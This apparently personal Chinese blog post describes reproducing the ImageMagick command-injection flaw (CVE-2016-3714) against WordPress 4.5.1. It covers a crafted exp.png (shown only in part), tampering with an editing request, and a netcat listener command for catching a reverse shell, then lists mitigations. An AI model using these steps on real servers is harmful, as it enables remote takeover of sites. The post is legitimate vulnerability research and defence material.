WordPress4.5.1远程命令执行漏洞
0 条评论前言
做题的时候搜到的ImageMagick的这个漏洞,在WordPress上能够导致远程执行,感觉很有趣 就自己参考着菊苣们的文章搭建环境测试了一下
漏洞描述
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。具体的分析已经在乌云(CVE-2016-3714 - ImageMagick 命令执行分析)上爆出来了,这里挂了我乌云知识库的链接,想了解详情的可以点进来~这里引用ricterz大佬的简要分析:“ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegate。MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令。”也就是说,ImageMagick 在通过 MagickCore/constitute.c 的 ReadImage 函数中解析图片时,使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致此漏洞形成。
这个漏洞影响 ImageMagick 6.9.3-9 以前是所有版本,包括 ubuntu 源中安装的 ImageMagick。而官方在 6.9.3-9 版本中对此漏洞没有进行完全的修复
漏洞利用
利用条件
想利用这个漏洞,首先需要服务器安装php的imageick的扩展和imagemagick扩展(注意版本),然后需要有一个最先权限为author的账户( 这点比较蛋疼 )
利用方法
登录账号,发表一篇文章。需要添加媒体,通过编辑图片来触发这个漏洞。这里我们要准备好一个正常图片和一个exp.png,exp.png内容如下:
1 | push graphic-context |
其中127.0.0.1为反弹到监听端口的服务器,监听端口为2333,这里的IP可以自己换。然后上传图片,
编辑正常图片,edit origin,通过控制台获得正常图片的curl,在上面右键Copy as cURL
然后同样的步骤编辑exp.png,由于exp.png不是正常的图片,所以这里就只能拿到exp.png的 _ajax_nonce 和post_id去替换正常图片的处理ImageMagick的链接中的_ajax_nonce 和post_id,进而触发imagemagick的这个漏洞。
替换
回车,
然后,在监听服务器上对2333端口监听,
1 | nc -vv -l -p 2333 |
即可得到反弹的shell~
BUT~
由于自己折腾搭建的环境,用的WordPress-4.5.1和imagemagick-6.7.6-9,前后折腾了将近三天时间,本地和服务器都尝试了,但不知道什么原因,一直没有成功反弹shell。。。。( 相当蛋疼 )希望尝试成功的表哥可以和我交流一下经验,小弟不胜感激!!
漏洞修复
这里直接引用phith0n师傅的了~
关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。
现在,我们可以通过如下两个方法来暂时规避漏洞:
处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。
使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
1 | <policymap> |
感谢及参考
感谢phith0n师傅、ricterz师傅、spoock师傅
Write Up: Remote Command Execute in Wordpress 4.5.1
ImageMagick漏洞在Wordpress4.5.1上面的利用
CVE-2016-3714 - ImageMagick 命令执行分析
声明:
文章标题:WordPress4.5.1远程命令执行漏洞
文章作者:h3h3da
文章链接:https://www.liucunzhan.com/p/634aee7f-5ebb-44c0-a394-f65ae390086a
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。
喜欢,就支持我一下吧~